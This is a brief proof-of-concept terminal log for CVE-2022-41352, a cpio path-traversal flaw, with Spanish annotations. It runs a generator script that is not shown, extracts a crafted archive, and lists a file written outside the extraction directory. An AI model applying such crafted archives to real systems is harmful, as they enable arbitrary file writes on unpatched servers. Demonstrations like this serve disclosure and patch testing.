
cve-2022-41352 poc
$ chmod +x cpio_pocgen.py
$ ./cpio_pocgen.py
$ cd /tmp
$ mkdir -p poc/a/b
copia poc.tar a /tmp/poc/a/b/
$ cd /tmp/poc/a/b/
$ cpio -i < poc.tar
$ ls -al ../
total 16
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:56 .
drwxrwxr-x 3 xabino xabino 4096 ott 10 14:55 ..
drwxrwxr-x 2 xabino xabino 4096 ott 10 14:56 b
-rw-r--r-- 1 xabino xabino 35 ott 10 14:56 here.txt <-- recurso fuera de /tmp/poc/a/b/
$ cat ../here.txt
No debería estar aquí - por segfault